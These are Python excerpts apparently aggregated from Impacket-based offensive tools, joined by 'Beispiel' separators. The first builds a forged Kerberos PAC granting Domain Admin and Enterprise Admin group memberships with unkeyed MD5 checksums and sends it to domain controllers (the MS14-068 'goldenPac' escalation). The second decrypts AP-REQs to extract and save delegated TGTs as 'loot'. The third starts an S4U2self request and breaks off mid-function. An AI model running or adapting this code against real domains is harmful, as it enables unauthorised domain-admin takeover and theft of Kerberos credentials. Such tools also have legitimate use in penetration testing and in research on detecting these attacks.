        kerbdata['ProfilePath']        = ''
        kerbdata['HomeDirectory']      = ''
        kerbdata['HomeDirectoryDrive'] = ''
        kerbdata['LogonCount']         = 0
        kerbdata['BadPasswordCount']   = 0
        kerbdata['UserId']             = self.__rid
        kerbdata['PrimaryGroupId']     = 513
        
        # Our Golden Well-known groups! :)
        groups = (513, 512, 520, 518, 519)
        kerbdata['GroupCount']         = len(groups)

        for group in groups:
            groupMembership = GROUP_MEMBERSHIP()
            groupId = NDRULONG()
            groupId['Data'] = group
            groupMembership['RelativeId'] = groupId
            groupMembership['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED
            kerbdata['GroupIds'].append(groupMembership)

        kerbdata['UserFlags']         = 0
        kerbdata['UserSessionKey']    = '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
        kerbdata['LogonServer']       = ''
        kerbdata['LogonDomainName']   = self.__domain
        kerbdata['LogonDomainId']     = self.__domainSid
        kerbdata['LMKey']             = '\x00\x00\x00\x00\x00\x00\x00\x00'
        kerbdata['UserAccountControl']= USER_NORMAL_ACCOUNT | USER_DONT_EXPIRE_PASSWORD
        kerbdata['SubAuthStatus']     = 0
        kerbdata['LastSuccessfulILogon']['dwLowDateTime']  = 0
        kerbdata['LastSuccessfulILogon']['dwHighDateTime'] = 0
        kerbdata['LastFailedILogon']['dwLowDateTime']      = 0
        kerbdata['LastFailedILogon']['dwHighDateTime']     = 0
        kerbdata['FailedILogonCount'] = 0
        kerbdata['Reserved3']         = 0

        # AUTHENTICATION_AUTHORITY_ASSERTED_IDENTITY: A SID that means the client's identity is 
        # asserted by an authentication authority based on proof of possession of client credentials.
        #extraSids = ('S-1-18-1',)
        if self.__forestSid is not None:
            extraSids = ('%s-%s' % (self.__forestSid, '519'),)
            kerbdata['SidCount']          = len(extraSids)
            kerbdata['UserFlags'] |= 0x20
        else:
            extraSids = ()
            kerbdata['SidCount']          = len(extraSids)
        
        for extraSid in extraSids:
            sidRecord = KERB_SID_AND_ATTRIBUTES()
            sid = RPC_SID()
            sid.fromCanonical(extraSid)
            sidRecord['Sid'] = sid
            sidRecord['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED
            kerbdata['ExtraSids'].append(sidRecord)

        kerbdata['ResourceGroupDomainSid'] = NULL
        kerbdata['ResourceGroupCount'] = 0
        kerbdata['ResourceGroupIds'] = NULL
            
        validationInfo = self.VALIDATION_INFO()
        validationInfo['Data'] = kerbdata

        if logging.getLogger().level == logging.DEBUG:
            logging.debug('VALIDATION_INFO')
            validationInfo.dump()
            print ('\n')

        validationInfoBlob = validationInfo.getData()+validationInfo.getDataReferents()
        validationInfoAlignment = '\x00'*(((len(validationInfoBlob)+7)/8*8)-len(validationInfoBlob))

        # 2) PAC_CLIENT_INFO
        pacClientInfo = PAC_CLIENT_INFO()
        pacClientInfo['ClientId'] = unixTime
        try:
            name = self.__username.encode('utf-16le')
        except UnicodeDecodeError:
            import sys
            name = self.__username.decode(sys.getfilesystemencoding()).encode('utf-16le')
        pacClientInfo['NameLength'] = len(name)
        pacClientInfo['Name'] = name
        pacClientInfoBlob = str(pacClientInfo)
        pacClientInfoAlignment = '\x00'*(((len(pacClientInfoBlob)+7)/8*8)-len(pacClientInfoBlob))

        # 3) PAC_SERVER_CHECKSUM/PAC_SIGNATURE_DATA
        serverChecksum = PAC_SIGNATURE_DATA()

        # If you wanna do CRC32, uncomment this
        #serverChecksum['SignatureType'] = self.CRC_32
        #serverChecksum['Signature'] = '\x00'*4

        # If you wanna do MD4, uncomment this
        #serverChecksum['SignatureType'] = self.RSA_MD4
        #serverChecksum['Signature'] = '\x00'*16

        # If you wanna do MD5, uncomment this
        serverChecksum['SignatureType'] = self.RSA_MD5
        serverChecksum['Signature'] = '\x00'*16

        serverChecksumBlob = str(serverChecksum)
        serverChecksumAlignment = '\x00'*(((len(serverChecksumBlob)+7)/8*8)-len(serverChecksumBlob))

        # 4) PAC_PRIVSVR_CHECKSUM/PAC_SIGNATURE_DATA
        privSvrChecksum = PAC_SIGNATURE_DATA()

        # If you wanna do CRC32, uncomment this
        #privSvrChecksum['SignatureType'] = self.CRC_32
        #privSvrChecksum['Signature'] = '\x00'*4

        # If you wanna do MD4, uncomment this
        #privSvrChecksum['SignatureType'] = self.RSA_MD4
        #privSvrChecksum['Signature'] = '\x00'*16

        # If you wanna do MD5, uncomment this
        privSvrChecksum['SignatureType'] = self.RSA_MD5
        privSvrChecksum['Signature'] = '\x00'*16

        privSvrChecksumBlob = str(privSvrChecksum)
        privSvrChecksumAlignment = '\x00'*(((len(privSvrChecksumBlob)+7)/8*8)-len(privSvrChecksumBlob))

        # The offset are set from the beginning of the PAC_TYPE
        # [MS-PAC] 2.4 PAC_INFO_BUFFER
        offsetData = 8 + len(str(PAC_INFO_BUFFER()))*4

        # Let's build the PAC_INFO_BUFFER for each one of the elements
        validationInfoIB = PAC_INFO_BUFFER()
        validationInfoIB['ulType'] = PAC_LOGON_INFO
        validationInfoIB['cbBufferSize'] =  len(validationInfoBlob)
        validationInfoIB['Offset'] = offsetData
        offsetData = (offsetData+validationInfoIB['cbBufferSize'] + 7) /8 *8

        pacClientInfoIB = PAC_INFO_BUFFER()
        pacClientInfoIB['ulType'] = PAC_CLIENT_INFO_TYPE
        pacClientInfoIB['cbBufferSize'] = len(pacClientInfoBlob)
        pacClientInfoIB['Offset'] = offsetData
        offsetData = (offsetData+pacClientInfoIB['cbBufferSize'] + 7) /8 *8

        serverChecksumIB = PAC_INFO_BUFFER()
        serverChecksumIB['ulType'] = PAC_SERVER_CHECKSUM
        serverChecksumIB['cbBufferSize'] = len(serverChecksumBlob)
        serverChecksumIB['Offset'] = offsetData
        offsetData = (offsetData+serverChecksumIB['cbBufferSize'] + 7) /8 *8

        privSvrChecksumIB = PAC_INFO_BUFFER()
        privSvrChecksumIB['ulType'] = PAC_PRIVSVR_CHECKSUM
        privSvrChecksumIB['cbBufferSize'] = len(privSvrChecksumBlob)
        privSvrChecksumIB['Offset'] = offsetData
        #offsetData = (offsetData+privSvrChecksumIB['cbBufferSize'] + 7) /8 *8

        # Building the PAC_TYPE as specified in [MS-PAC]
        buffers = str(validationInfoIB) + str(pacClientInfoIB) + str(serverChecksumIB) + str(
            privSvrChecksumIB) + validationInfoBlob + validationInfoAlignment + str(
            pacClientInfo) + pacClientInfoAlignment
        buffersTail = str(serverChecksum) + serverChecksumAlignment + str(privSvrChecksum) + privSvrChecksumAlignment

        pacType = PACTYPE()
        pacType['cBuffers'] = 4
        pacType['Version'] = 0
        pacType['Buffers'] = buffers + buffersTail

        blobToChecksum = str(pacType)

        # If you want to do CRC-32, ucomment this
        #serverChecksum['Signature'] = struct.pack('<L', (binascii.crc32(blobToChecksum, 0xffffffff) ^ 0xffffffff) & 0xffffffff)
        #privSvrChecksum['Signature'] =  struct.pack('<L', (binascii.crc32(serverChecksum['Signature'], 0xffffffff) ^ 0xffffffff) & 0xffffffff)

        # If you want to do MD4, ucomment this
        #serverChecksum['Signature'] = MD4.new(blobToChecksum).digest()
        #privSvrChecksum['Signature'] =  MD4.new(serverChecksum['Signature']).digest()

        # If you want to do MD5, ucomment this
        serverChecksum['Signature'] = MD5.new(blobToChecksum).digest()
        privSvrChecksum['Signature'] = MD5.new(serverChecksum['Signature']).digest() 

        buffersTail = str(serverChecksum) + serverChecksumAlignment + str(privSvrChecksum) + privSvrChecksumAlignment
        pacType['Buffers'] = buffers + buffersTail

        authorizationData = AuthorizationData()
        authorizationData[0] = None
        authorizationData[0]['ad-type'] = int(constants.AuthorizationDataType.AD_WIN2K_PAC.value)
        authorizationData[0]['ad-data'] = str(pacType)
        return encoder.encode(authorizationData)

    def getKerberosTGS(self, serverName, domain, kdcHost, tgt, cipher, sessionKey, authTime):
        # Get out Golden PAC
        goldenPAC = self.getGoldenPAC(authTime)

        decodedTGT = decoder.decode(tgt, asn1Spec = AS_REP())[0]

        # Extract the ticket from the TGT
        ticket = Ticket()
        ticket.from_asn1(decodedTGT['ticket'])

        # Now put the goldenPac inside the AuthorizationData AD_IF_RELEVANT
        ifRelevant = AD_IF_RELEVANT()
        ifRelevant[0] = None
        ifRelevant[0]['ad-type'] = int(constants.AuthorizationDataType.AD_IF_RELEVANT.value)
        ifRelevant[0]['ad-data'] = goldenPAC

        encodedIfRelevant = encoder.encode(ifRelevant)

        # Key Usage 4
        # TGS-REQ KDC-REQ-BODY AuthorizationData, encrypted with
        # the TGS session key (Section 5.4.1)
        encryptedEncodedIfRelevant = cipher.encrypt(sessionKey, 4, encodedIfRelevant, None)

        tgsReq = TGS_REQ()
        reqBody = seq_set(tgsReq, 'req-body')

        opts = list()
        opts.append( constants.KDCOptions.forwardable.value )
        opts.append( constants.KDCOptions.renewable.value )
        opts.append( constants.KDCOptions.proxiable.value )

        reqBody['kdc-options'] = constants.encodeFlags(opts)
        seq_set(reqBody, 'sname', serverName.components_to_asn1)
        reqBody['realm'] = str(decodedTGT['crealm'])

        now = datetime.datetime.utcnow() + datetime.timedelta(days=1)

        reqBody['till'] = KerberosTime.to_asn1(now)
        reqBody['nonce'] = random.SystemRandom().getrandbits(31)
        seq_set_iter(reqBody, 'etype', (cipher.enctype,))
        reqBody['enc-authorization-data'] = None
        reqBody['enc-authorization-data']['etype'] = int(cipher.enctype)
        reqBody['enc-authorization-data']['cipher'] = encryptedEncodedIfRelevant

        apReq = AP_REQ()
        apReq['pvno'] = 5
        apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)

        opts = list()
        apReq['ap-options'] =  constants.encodeFlags(opts)
        seq_set(apReq,'ticket', ticket.to_asn1)

        authenticator = Authenticator()
        authenticator['authenticator-vno'] = 5
        authenticator['crealm'] = str(decodedTGT['crealm'])

        clientName = Principal()
        clientName.from_asn1( decodedTGT, 'crealm', 'cname')

        seq_set(authenticator, 'cname', clientName.components_to_asn1)

        now = datetime.datetime.utcnow() 
        authenticator['cusec'] =  now.microsecond
        authenticator['ctime'] = KerberosTime.to_asn1(now)

        encodedAuthenticator = encoder.encode(authenticator)

        # Key Usage 7
        # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
        # TGS authenticator subkey), encrypted with the TGS session
        # key (Section 5.5.1)
        encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None)

        apReq['authenticator'] = None
        apReq['authenticator']['etype'] = cipher.enctype
        apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator

        encodedApReq = encoder.encode(apReq)

        tgsReq['pvno'] =  5
        tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
        tgsReq['padata'] = None
        tgsReq['padata'][0] = None
        tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
        tgsReq['padata'][0]['padata-value'] = encodedApReq

        pacRequest = KERB_PA_PAC_REQUEST()
        pacRequest['include-pac'] = False
        encodedPacRequest = encoder.encode(pacRequest)

        tgsReq['padata'][1] = None
        tgsReq['padata'][1]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value)
        tgsReq['padata'][1]['padata-value'] = encodedPacRequest

        message = encoder.encode(tgsReq)

        r = sendReceive(message, domain, kdcHost)

        # Get the session key
        tgs = decoder.decode(r, asn1Spec = TGS_REP())[0]
        cipherText = tgs['enc-part']['cipher']

        # Key Usage 8
        # TGS-REP encrypted part (includes application session
        # key), encrypted with the TGS session key (Section 5.4.2)
        plainText = cipher.decrypt(sessionKey, 8, str(cipherText))

        encTGSRepPart = decoder.decode(plainText, asn1Spec = EncTGSRepPart())[0]

        newSessionKey = Key(cipher.enctype, str(encTGSRepPart['key']['keyvalue']))
    
        return r, cipher, sessionKey, newSessionKey

    def getForestSid(self):
        logging.debug('Calling NRPC DsrGetDcNameEx()')

        stringBinding = r'ncacn_np:%s[\pipe\netlogon]' % self.__kdcHost

        rpctransport = transport.DCERPCTransportFactory(stringBinding)

        if hasattr(rpctransport, 'set_credentials'):
            rpctransport.set_credentials(self.__username,self.__password, self.__domain, self.__lmhash, self.__nthash)

        dce = rpctransport.get_dce_rpc()
        dce.connect()
        dce.bind(MSRPC_UUID_NRPC)

        resp = hDsrGetDcNameEx(dce, NULL, NULL, NULL, NULL, 0)
        forestName = resp['DomainControllerInfo']['DnsForestName'][:-1]
        logging.debug('DNS Forest name is %s' % forestName)
        dce.disconnect()

        logging.debug('Calling LSAT hLsarQueryInformationPolicy2()')

        stringBinding = r'ncacn_np:%s[\pipe\lsarpc]' % forestName

        rpctransport = transport.DCERPCTransportFactory(stringBinding)

        if hasattr(rpctransport, 'set_credentials'):
            rpctransport.set_credentials(self.__username,self.__password, self.__domain, self.__lmhash, self.__nthash)

        dce = rpctransport.get_dce_rpc()
        dce.connect()
        dce.bind(MSRPC_UUID_LSAT)

        resp = hLsarOpenPolicy2(dce, MAXIMUM_ALLOWED | POLICY_LOOKUP_NAMES)
        policyHandle = resp['PolicyHandle']

        resp = hLsarQueryInformationPolicy2(dce, policyHandle, POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation)
        dce.disconnect()

        forestSid = resp['PolicyInformation']['PolicyAccountDomainInfo']['DomainSid'].formatCanonical()
        logging.info("Forest SID: %s"% forestSid)

        return forestSid

    def getDomainControllers(self):
        logging.debug('Calling DRSDomainControllerInfo()')

        stringBinding = epm.hept_map(self.__domain, MSRPC_UUID_DRSUAPI, protocol = 'ncacn_ip_tcp')

        rpctransport = transport.DCERPCTransportFactory(stringBinding)

        if hasattr(rpctransport, 'set_credentials'):
            rpctransport.set_credentials(self.__username,self.__password, self.__domain, self.__lmhash, self.__nthash)

        dce = rpctransport.get_dce_rpc()
        dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_INTEGRITY)
        dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
        dce.connect()
        dce.bind(MSRPC_UUID_DRSUAPI)

        request = DRSBind()
        request['puuidClientDsa'] = NTDSAPI_CLIENT_GUID
        drs = DRS_EXTENSIONS_INT()
        drs['cb'] = len(drs) #- 4
        drs['dwFlags'] = DRS_EXT_GETCHGREQ_V6 | DRS_EXT_GETCHGREPLY_V6 | DRS_EXT_GETCHGREQ_V8 | DRS_EXT_STRONG_ENCRYPTION
        drs['SiteObjGuid'] = NULLGUID
        drs['Pid'] = 0
        drs['dwReplEpoch'] = 0
        drs['dwFlagsExt'] = 0
        drs['ConfigObjGUID'] = NULLGUID
        drs['dwExtCaps'] = 127
        request['pextClient']['cb'] = len(drs)
        request['pextClient']['rgb'] = list(str(drs))
        resp = dce.request(request)

        dcs = hDRSDomainControllerInfo(dce,  resp['phDrs'], self.__domain, 1)

        dce.disconnect()
        domainControllers = list()
        for dc in dcs['pmsgOut']['V1']['rItems']:
            logging.debug('Found domain controller %s' % dc['DnsHostName'][:-1])
            domainControllers.append(dc['DnsHostName'][:-1])

        return domainControllers

    def getUserSID(self):
        stringBinding = r'ncacn_np:%s[\pipe\samr]' % self.__kdcHost

        rpctransport = transport.DCERPCTransportFactory(stringBinding)

        if hasattr(rpctransport, 'set_credentials'):
            rpctransport.set_credentials(self.__username,self.__password, self.__domain, self.__lmhash, self.__nthash)

        dce = rpctransport.get_dce_rpc()
        dce.connect()
        dce.bind(samr.MSRPC_UUID_SAMR)
        resp = samr.hSamrConnect(dce)
        serverHandle = resp['ServerHandle']
        resp = samr.hSamrLookupDomainInSamServer(dce, serverHandle, self.__domain)
        domainId = resp['DomainId']
        resp = samr.hSamrOpenDomain(dce, serverHandle, domainId = domainId)
        domainHandle = resp['DomainHandle']
        resp = samr.hSamrLookupNamesInDomain(dce, domainHandle, (self.__username,))
        # Let's pick the relative ID
        rid = resp['RelativeIds']['Element'][0]['Data']
        logging.info("User SID: %s-%s"% (domainId.formatCanonical(), rid))
        return domainId, rid

    def exploit(self):
        if self.__kdcHost is None:
            getDCs = True
            self.__kdcHost = self.__domain
        else:
            getDCs = False

        self.__domainSid, self.__rid = self.getUserSID()
        try:
            self.__forestSid = self.getForestSid()
        except Exception, e:
            # For some reason we couldn't get the forest data. No problem, we can still continue
            # Only drawback is we won't get forest admin if successful
            logging.error('Couldn\'t get forest info (%s), continuing' % str(e))
            self.__forestSid = None

        if getDCs is False:
            # User specified a DC already, no need to get the list
            self.__domainControllers.append(self.__kdcHost)
        else:
            self.__domainControllers = self.getDomainControllers()

        userName = Principal(self.__username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
        for dc in self.__domainControllers:
            logging.info('Attacking domain controller %s' % dc)
            self.__kdcHost = dc
            exception = None
            while True:
                try:
                    tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain,
                                                                            self.__lmhash, self.__nthash, None,
                                                                            self.__kdcHost, requestPAC=False)
                except KerberosError, e:
                    if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
                        # We might face this if the target does not support AES (most probably
                        # Windows XP). So, if that's the case we'll force using RC4 by converting
                        # the password to lm/nt hashes and hope for the best. If that's already
                        # done, byebye.
                        if self.__lmhash is '' and self.__nthash is '':
                            from impacket.ntlm import compute_lmhash, compute_nthash
                            self.__lmhash = compute_lmhash(self.__password)
                            self.__nthash = compute_nthash(self.__password)
                            continue
                        else:
                            exception = str(e)
                            break
                    else:
                        exception = str(e)
                        break

                # So, we have the TGT, now extract the new session key and finish
                asRep = decoder.decode(tgt, asn1Spec = AS_REP())[0]

                # If the cypher in use != RC4 there's gotta be a salt for us to use
                salt = ''
                if asRep['padata']:
                    for pa in asRep['padata']:
                        if pa['padata-type'] == constants.PreAuthenticationDataTypes.PA_ETYPE_INFO2.value:
                            etype2 = decoder.decode(str(pa['padata-value'])[2:], asn1Spec = ETYPE_INFO2_ENTRY())[0]
                            salt = str(etype2['salt'])

                cipherText = asRep['enc-part']['cipher']

                # Key Usage 3
                # AS-REP encrypted part (includes TGS session key or
                # application session key), encrypted with the client key
                # (Section 5.4.2)
                if self.__nthash != '':
                    key = Key(cipher.enctype,self.__nthash)
                else:
                    key = cipher.string_to_key(self.__password, salt, None)

                plainText = cipher.decrypt(key, 3, str(cipherText))
                encASRepPart = decoder.decode(plainText, asn1Spec = EncASRepPart())[0]
                authTime = encASRepPart['authtime']

                serverName = Principal('krbtgt/%s' % self.__domain.upper(),
                                       type=constants.PrincipalNameType.NT_PRINCIPAL.value)
                tgs, cipher, oldSessionKey, sessionKey = self.getKerberosTGS(serverName, domain, self.__kdcHost, tgt,
                                                                             cipher, sessionKey, authTime)

                # We've done what we wanted, now let's call the regular getKerberosTGS to get a new ticket for cifs
                serverName = Principal('cifs/%s' % self.__target, type=constants.PrincipalNameType.NT_SRV_INST.value)
                try:
                    tgsCIFS, cipher, oldSessionKeyCIFS, sessionKeyCIFS = getKerberosTGS(serverName, domain,
                                                                                        self.__kdcHost, tgs, cipher,
                                                                                        sessionKey)
                except KerberosError, e:
                    if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
                        # We might face this if the target does not support AES (most probably
                        # Windows XP). So, if that's the case we'll force using RC4 by converting
                        # the password to lm/nt hashes and hope for the best. If that's already
                        # done, byebye.
                        if self.__lmhash is '' and self.__nthash is '':
                            from impacket.ntlm import compute_lmhash, compute_nthash
                            self.__lmhash = compute_lmhash(self.__password)
                            self.__nthash = compute_nthash(self.__password)
                        else:
                            exception = str(e)
                            break
                    else:
                        exception = str(e)
                        break
                else:
                    # Everything went well, let's save the ticket if asked and leave
                    if self.__writeTGT is not None:
                        from impacket.krb5.ccache import CCache
                        ccache = CCache()
                        ccache.fromTGS(tgs, oldSessionKey, sessionKey)
                        ccache.saveFile(self.__writeTGT)
                    break
Beispiel #11
0
def get_kerberos_loot(token, options):
    from pyasn1 import debug
    # debug.setLogger(debug.Debug('all'))
    # Do we have a Krb ticket?
    blob = decoder.decode(token, asn1Spec=GSSAPIHeader_SPNEGO_Init())[0]
    # print str(blob)

    data = blob['innerContextToken']['negTokenInit']['mechToken']

    try:
        payload = decoder.decode(data, asn1Spec=GSSAPIHeader_KRB5_AP_REQ())[0]
    except PyAsn1Error:
        raise Exception('Error obtaining Kerberos data')
    # print payload
    # It is an AP_REQ
    decodedTGS = payload['apReq']
    # print decodedTGS

    # Get ticket data

    cipherText = decodedTGS['ticket']['enc-part']['cipher']

    # Key Usage 2
    # AS-REP Ticket and TGS-REP Ticket (includes tgs session key or
    #  application session key), encrypted with the service key
    #  (section 5.4.2)

    newCipher = _enctype_table[int(decodedTGS['ticket']['enc-part']['etype'])]

    # Create decryption keys from specified Kerberos keys
    if options.hashes is not None:
        nthash = options.hashes.split(':')[1]
    else:
        nthash = ''

    aesKey = options.aeskey or ''

    allciphers = [
        int(constants.EncryptionTypes.rc4_hmac.value),
        int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value),
        int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value)
    ]

    # Store Kerberos keys
    # TODO: get the salt from preauth info (requires us to send AS_REQs to the DC)
    keys = {}

    if nthash != '':
        keys[int(constants.EncryptionTypes.rc4_hmac.value)] = unhexlify(nthash)
    if aesKey != '':
        if len(aesKey) == 64:
            keys[int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value
                     )] = unhexlify(aesKey)
        else:
            keys[int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value
                     )] = unhexlify(aesKey)

    ekeys = {}
    for kt, key in keys.items():
        ekeys[kt] = Key(kt, key)

    # Calculate Kerberos keys from specified password/salt
    if options.password and options.salt:
        for cipher in allciphers:
            if cipher == 23 and options.israwpassword:
                # RC4 calculation is done manually for raw passwords
                md4 = MD4.new()
                md4.update(options.password)
                ekeys[cipher] = Key(cipher, md4.digest())
            else:
                # Do conversion magic for raw passwords
                if options.israwpassword:
                    rawsecret = options.password.decode(
                        'utf-16-le', 'replace').encode('utf-8', 'replace')
                else:
                    # If not raw, it was specified from the command line, assume it's not UTF-16
                    rawsecret = options.password
                ekeys[cipher] = string_to_key(cipher, rawsecret, options.salt)
            LOG.debug('Calculated type %d Kerberos key: %s', cipher,
                      hexlify(ekeys[cipher].contents))

    # Select the correct encryption key
    try:
        key = ekeys[decodedTGS['ticket']['enc-part']['etype']]
    # This raises a KeyError (pun intended) if our key is not found
    except KeyError:
        LOG.error(
            'Could not find the correct encryption key! Ticket is encrypted with keytype %d, but keytype(s) %s were supplied',
            decodedTGS['ticket']['enc-part']['etype'],
            ', '.join([str(enctype) for enctype in ekeys.keys()]))
        return None

    # Recover plaintext info from ticket
    try:
        plainText = newCipher.decrypt(key, 2, cipherText)
    except InvalidChecksum:
        LOG.error(
            'Ciphertext integrity failed. Most likely the account password or AES key is incorrect'
        )
        if options.salt:
            LOG.info(
                'You specified a salt manually. Make sure it has the correct case.'
            )
        return
    LOG.debug('Ticket decrypt OK')
    encTicketPart = decoder.decode(plainText, asn1Spec=EncTicketPart())[0]
    sessionKey = Key(encTicketPart['key']['keytype'],
                     bytes(encTicketPart['key']['keyvalue']))

    # Key Usage 11
    # AP-REQ Authenticator (includes application authenticator
    # subkey), encrypted with the application session key
    # (Section 5.5.1)

    # print encTicketPart
    flags = encTicketPart['flags'].asBinary()
    # print flags
    # for flag in TicketFlags:
    #     if flags[flag.value] == '1':
    #         print flag
    # print flags[TicketFlags.ok_as_delegate.value]
    cipherText = decodedTGS['authenticator']['cipher']
    newCipher = _enctype_table[int(decodedTGS['authenticator']['etype'])]
    # Recover plaintext info from authenticator
    plainText = newCipher.decrypt(sessionKey, 11, cipherText)

    authenticator = decoder.decode(plainText, asn1Spec=Authenticator())[0]
    # print authenticator

    # The checksum may contain the delegated ticket
    cksum = authenticator['cksum']
    if cksum['cksumtype'] != 32771:
        raise Exception('Checksum is not KRB5 type: %d' % cksum['cksumtype'])

    # Checksum as in 4.1.1 [RFC4121]
    # Fields:
    # 0-3 Length of channel binding info (fixed at 16)
    # 4-19 channel binding info
    # 20-23 flags
    # 24-25 delegation option identifier
    # 26-27 length of deleg field
    # 28..(n-1) KRB_CRED message if deleg is used (n = length of deleg + 28)
    # n..last  extensions
    flags = struct.unpack('<L', bytes(cksum['checksum'])[20:24])[0]
    # print flags
    if not flags & GSS_C_DELEG_FLAG:
        LOG.error('Delegate info not set, cannot extract ticket!')
        LOG.error(
            'Make sure the account you use has unconstrained delegation rights'
        )
        return

    dlen = struct.unpack('<H', bytes(cksum['checksum'])[26:28])[0]
    deldata = bytes(cksum['checksum'])[28:28 + dlen]
    creds = decoder.decode(deldata, asn1Spec=KRB_CRED())[0]
    # print creds
    subkey = Key(authenticator['subkey']['keytype'],
                 bytes(authenticator['subkey']['keyvalue']))
    newCipher = _enctype_table[int(creds['enc-part']['etype'])]

    plainText = newCipher.decrypt(sessionKey, 14,
                                  bytes(creds['enc-part']['cipher']))
    # print plainText
    # Now we got the EncKrbCredPart
    enc_part = decoder.decode(plainText, asn1Spec=EncKrbCredPart())[0]

    for i, tinfo in enumerate(enc_part['ticket-info']):
        # This is what we are after :)
        username = '******'.join(
            [str(item) for item in tinfo['pname']['name-string']])
        realm = str(tinfo['prealm'])
        fullname = '%s@%s' % (username, realm)
        sname = Principal(
            [str(item) for item in tinfo['sname']['name-string']])
        LOG.info('Got ticket for %s [%s]', fullname, sname)
        ticket = creds['tickets'][i]
        filename = '%s_%s' % (fullname, sname)
        saveformat = options.format
        LOG.info('Saving ticket in %s.%s', filename, saveformat)
        ccache = KrbCredCCache()
        ccache.fromKrbCredTicket(ticket, tinfo)
        if saveformat == 'ccache':
            ccache.saveFile(filename + '.ccache')
        else:
            # Save as Kirbi
            oc = KRB_CRED()
            oc['tickets'].append(ticket)
            oc['enc-part']['etype'] = 0
            new_enc_part = EncKrbCredPart()
            new_enc_part['ticket-info'].append(tinfo)
            oc['enc-part']['cipher'] = encoder.encode(new_enc_part)
            ocdata = encoder.encode(oc)
            with open(filename + '.kirbi', 'wb') as outfile:
                outfile.write(ocdata)

    data = {
        'username': username,
        'domain': realm,
        # We take it from the ccache since this already has a helper function to get
        # it in the right format.
        'tgt': ccache.credentials[0].toTGT()
    }
    return data
Beispiel #12
0
    def dump(self, addr):
        # Try all requested protocols until one works.

        userName = Principal(self.__username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
        tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain,
                                                                self.__lmhash.decode('hex'), self.__nthash.decode('hex'))

        decodedTGT = decoder.decode(tgt, asn1Spec = AS_REP())[0]

        # Extract the ticket from the TGT
        ticket = Ticket()
        ticket.from_asn1(decodedTGT['ticket'])

        apReq = AP_REQ()
        apReq['pvno'] = 5
        apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)

        opts = list()
        apReq['ap-options'] =  constants.encodeFlags(opts)
        seq_set(apReq,'ticket', ticket.to_asn1)

        authenticator = Authenticator()
        authenticator['authenticator-vno'] = 5
        authenticator['crealm'] = str(decodedTGT['crealm'])

        clientName = Principal()
        clientName.from_asn1( decodedTGT, 'crealm', 'cname')

        seq_set(authenticator, 'cname', clientName.components_to_asn1)

        now = datetime.datetime.utcnow()
        authenticator['cusec'] = now.microsecond
        authenticator['ctime'] = KerberosTime.to_asn1(now)

        if logging.getLogger().level == logging.DEBUG:
            logging.debug('AUTHENTICATOR')
            print authenticator.prettyPrint()
            print ('\n')

        encodedAuthenticator = encoder.encode(authenticator)

        # Key Usage 7
        # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
        # TGS authenticator subkey), encrypted with the TGS session
        # key (Section 5.5.1)
        encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None)

        apReq['authenticator'] = noValue
        apReq['authenticator']['etype'] = cipher.enctype
        apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator

        encodedApReq = encoder.encode(apReq)

        tgsReq = TGS_REQ()

        tgsReq['pvno'] =  5
        tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value)

        tgsReq['padata'] = noValue
        tgsReq['padata'][0] = noValue
        tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
        tgsReq['padata'][0]['padata-value'] = encodedApReq

        # In the S4U2self KRB_TGS_REQ/KRB_TGS_REP protocol extension, a service
        # requests a service ticket to itself on behalf of a user. The user is
        # identified to the KDC by the user's name and realm.
        clientName = Principal(self.__behalfUser, type=constants.PrincipalNameType.NT_PRINCIPAL.value)

        S4UByteArray = struct.pack('<I',constants.PrincipalNameType.NT_PRINCIPAL.value)
        S4UByteArray += self.__behalfUser + self.__domain + 'Kerberos'

        if logging.getLogger().level == logging.DEBUG:
            logging.debug('S4UByteArray')
            hexdump(S4UByteArray)

        # Finally cksum is computed by calling the KERB_CHECKSUM_HMAC_MD5 hash
        # with the following three parameters: the session key of the TGT of
        # the service performing the S4U2Self request, the message type value
        # of 17, and the byte array S4UByteArray.
        checkSum = _HMACMD5.checksum(sessionKey, 17, S4UByteArray)

        if logging.getLogger().level == logging.DEBUG:
            logging.debug('CheckSum')
            hexdump(checkSum)

        paForUserEnc = PA_FOR_USER_ENC()
        seq_set(paForUserEnc, 'userName', clientName.components_to_asn1)
        paForUserEnc['userRealm'] = self.__domain
        paForUserEnc['cksum'] = noValue
        paForUserEnc['cksum']['cksumtype'] = int(constants.ChecksumTypes.hmac_md5.value)
        paForUserEnc['cksum']['checksum'] = checkSum
        paForUserEnc['auth-package'] = 'Kerberos'

        if logging.getLogger().level == logging.DEBUG:
            logging.debug('PA_FOR_USER_ENC')
